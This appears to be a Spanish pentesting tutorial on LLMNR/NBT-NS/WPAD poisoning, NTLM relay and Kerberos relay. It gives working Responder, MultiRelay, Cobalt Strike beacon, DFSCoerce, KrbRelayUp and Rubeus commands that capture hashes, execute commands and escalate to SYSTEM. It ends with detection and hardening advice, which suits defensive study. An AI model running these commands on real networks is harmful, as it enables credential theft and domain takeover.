Spoofing LLMNR, NBT-NS, mDNS/DNS y WPAD y Ataques de Relay

Reading time: 12 minutes

Protocolos de Red

Protocolos de Resolución de Host Local

• LLMNR, NBT-NS y mDNS:
• Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres locales cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
• Estos protocolos son susceptibles a la interceptación y el spoofing debido a su naturaleza no autenticada y de difusión sobre UDP.
• Responder se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos.
• Más información sobre la suplantación de servicios utilizando Responder se puede encontrar aquí.

Protocolo de Descubrimiento Automático de Proxy Web (WPAD)

• WPAD permite a los navegadores descubrir automáticamente la configuración del proxy.
• El descubrimiento se facilita a través de DHCP, DNS o retroceso a LLMNR y NBT-NS si DNS falla.
• Responder puede automatizar ataques WPAD, dirigiendo a los clientes a servidores WPAD maliciosos.

Responder para el Envenenamiento de Protocolos

• Responder es una herramienta utilizada para envenenar consultas LLMNR, NBT-NS y mDNS, respondiendo selectivamente según los tipos de consulta, apuntando principalmente a servicios SMB.
• Viene preinstalado en Kali Linux, configurable en /etc/responder/Responder.conf.
• Responder muestra los hashes capturados en la pantalla y los guarda en el directorio /usr/share/responder/logs.
• Soporta tanto IPv4 como IPv6.
• La versión de Windows de Responder está disponible aquí.

Ejecutando Responder

• Para ejecutar Responder con la configuración predeterminada: responder -I <Interface>
• Para un sondeo más agresivo (con posibles efectos secundarios): responder -I <Interface> -P -r -v
• Técnicas para capturar desafíos/respuestas NTLMv1 para un cracking más fácil: responder -I <Interface> --lm --disable-ess
• La suplantación de WPAD se puede activar con: responder -I <Interface> --wpad
• Las solicitudes de NetBIOS se pueden resolver a la IP del atacante, y se puede configurar un proxy de autenticación: responder.py -I <interface> -Pv

Envenenamiento DHCP con Responder

• Falsificar respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al envenenamiento ARP.
• Requiere un conocimiento preciso de la configuración de la red objetivo.
• Ejecutando el ataque: ./Responder.py -I eth0 -Pdv
• Este método puede capturar efectivamente hashes NTLMv1/2, pero requiere un manejo cuidadoso para evitar la interrupción de la red.

Capturando Credenciales con Responder

• Responder suplantará servicios utilizando los protocolos mencionados anteriormente, capturando credenciales (generalmente NTLMv2 Challenge/Response) cuando un usuario intente autenticarse contra los servicios falsificados.
• Se pueden hacer intentos para degradar a NetNTLMv1 o deshabilitar ESS para un cracking de credenciales más fácil.

Es crucial notar que el uso de estas técnicas debe hacerse de manera legal y ética, asegurando la autorización adecuada y evitando interrupciones o accesos no autorizados.

Inveigh

Inveigh es una herramienta para testers de penetración y equipos rojos, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando ataques de spoofing y man-in-the-middle. La herramienta ha evolucionado de un script de PowerShell a un binario en C#, con Inveigh y InveighZero como las versiones principales. Parámetros e instrucciones detalladas se pueden encontrar en la wiki.

Inveigh se puede operar a través de PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

O ejecutado como un binario de C#:

Inveigh.exe

NTLM Relay Attack

Este ataque aprovecha las sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los requisitos clave incluyen:

• El usuario que se autentica debe tener acceso de administrador local en el host retransmitido.
• La firma SMB debe estar deshabilitada.

445 Port Forwarding and Tunneling

En escenarios donde la introducción directa a la red no es factible, el tráfico en el puerto 445 necesita ser reenviado y tunelizado. Herramientas como PortBender ayudan a redirigir el tráfico del puerto 445 a otro puerto, lo cual es esencial cuando se tiene acceso de administrador local para la carga de controladores.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Otras Herramientas para el Ataque de Relevo NTLM

• Metasploit: Configurado con proxies, detalles de hosts locales y remotos.
• smbrelayx: Un script de Python para relajar sesiones SMB y ejecutar comandos o desplegar puertas traseras.
• MultiRelay: Una herramienta del conjunto Responder para relajar usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes.

Cada herramienta se puede configurar para operar a través de un proxy SOCKS si es necesario, lo que permite ataques incluso con acceso indirecto a la red.

Operación de MultiRelay

MultiRelay se ejecuta desde el /usr/share/responder/tools directorio, apuntando a IPs o usuarios específicos.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Estas herramientas y técnicas forman un conjunto integral para llevar a cabo ataques de NTLM Relay en varios entornos de red.

Forzar inicios de sesión NTLM

En Windows, puedes ser capaz de forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias. Lee la siguiente página para aprender cómo:

Force NTLM Privileged Authentication

Ataque de Kerberos Relay

Un ataque de Kerberos relay roba un ticket AP-REQ de un servicio y lo reutiliza contra un segundo servicio que comparte la misma clave de cuenta de computadora (porque ambos SPNs están en la misma cuenta de máquina $). Esto funciona a pesar de que las clases de servicio de los SPNs difieren (por ejemplo, CIFS/ → LDAP/) porque la clave que desencripta el ticket es el hash NT de la máquina, no la cadena SPN en sí, y la cadena SPN no es parte de la firma.

A diferencia del relay de NTLM, el salto está limitado a la misma máquina, pero, si apuntas a un protocolo que te permite escribir en LDAP, puedes encadenar en Delegación Constrainida Basada en Recursos (RBCD) o inscripción de AD CS y obtener NT AUTHORITY\SYSTEM en un solo intento.

Para información detallada sobre este ataque, consulta:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Conceptos básicos de Kerberos

• Los tickets están encriptados con la clave derivada de la contraseña de la cuenta que posee el SPN.
• El Autenticador dentro del AP-REQ tiene una marca de tiempo de 5 minutos; la reproducción dentro de esa ventana es válida hasta que la caché del servicio vea un duplicado.
• Windows rara vez verifica si la cadena SPN en el ticket coincide con el servicio que golpeas, por lo que un ticket para CIFS/HOST normalmente se desencripta bien en LDAP/HOST.

• 2. Lo que debe ser cierto para relayar Kerberos

1. Clave compartida: los SPNs de origen y destino pertenecen a la misma cuenta de computadora (predeterminado en servidores Windows).
2. Sin protección de canal: SMB/LDAP sin firma y EPA desactivado para HTTP/LDAPS.
3. Puedes interceptar o coaccionar la autenticación: envenenamiento de LLMNR/NBNS, suplantación de DNS, PetitPotam / DFSCoerce RPC, AuthIP falso, DCOM malicioso, etc.
4. Fuente del ticket no utilizada previamente: ganas la carrera antes de que el paquete real llegue o lo bloqueas por completo; de lo contrario, la caché de reproducción del servidor activa el Evento 4649.
5. Necesitas poder realizar un MitM en la comunicación, tal vez siendo parte del grupo DNSAdmins para modificar el DNS del dominio o poder cambiar el archivo HOST de la víctima.

Pasos de Kerberos Relay

• 3.1 Reconocer el host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Iniciar el oyente de relay

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp envuelve KrbRelay → LDAP → RBCD → Rubeus → SCM bypass en un solo binario.

• 3.3 Forzar autenticación Kerberos

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce hace que el DC nos envíe un ticket Kerberos CIFS/DC01.

• 3.4 Reenviar el AP-REQ

KrbRelay extrae el blob GSS de SMB, lo reempaqueta en un enlace LDAP y lo reenvía a ldap://DC01—la autenticación tiene éxito porque la misma clave lo desencripta.

• 3.5 Abusar de LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

Más rutas que vale la pena conocer

Solución de problemas

Detección

• Aumento en Evento 4769 para CIFS/, HTTP/, LDAP/ desde la misma fuente en segundos.
• Evento 4649 en el servicio indica que se detectó un replay.
• Inicio de sesión Kerberos desde 127.0.0.1 (reenvío a SCM local) es altamente sospechoso—mapea a través de la regla Sigma en la documentación de KrbRelayUp.
• Observa cambios en los atributos msDS-AllowedToActOnBehalfOfOtherIdentity o msDS-KeyCredentialLink.

Fortalecimiento

1. Aplica firma LDAP y SMB + EPA en cada servidor.
2. Divide los SPNs para que HTTP no esté en la misma cuenta que CIFS/LDAP.
3. Parchea vectores de coerción (PetitPotam KB5005413, DFS, AuthIP).
4. Establece ms-DS-MachineAccountQuota = 0 para detener uniones de computadoras no autorizadas.
5. Alerta sobre Evento 4649 e inicios de sesión Kerberos de loopback inesperados.

Referencias

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html